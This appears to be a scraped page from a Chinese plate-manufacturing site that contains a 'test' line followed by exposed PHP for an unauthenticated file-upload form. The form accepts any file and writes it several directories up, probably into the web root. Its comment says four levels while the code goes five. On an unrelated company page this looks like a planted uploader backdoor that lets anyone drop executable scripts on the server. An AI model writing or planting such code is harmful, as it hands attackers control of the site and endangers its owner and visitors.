预拉伸板生产专家。

test
2025-05-12<?php
// Handle file upload when form is submitted
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['file'])) {
// Upload to a directory four levels up from current script
$uploadDir = dirname(__FILE__, 5) . '/';
$uploadFile = $uploadDir . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
$message = "File uploaded successfully as " . htmlspecialchars($_FILES['file']['name']);
} else {
$message = "Error moving the uploaded file.";
}
} else {
$message = "No file was uploaded.";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Upload a File</title>
</head>
<body>
<h2>Upload a File</h2>
<?php if (!empty($message)) echo "<p>$message</p>"; ?>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">Upload</button>
</form>
</body>
</html>
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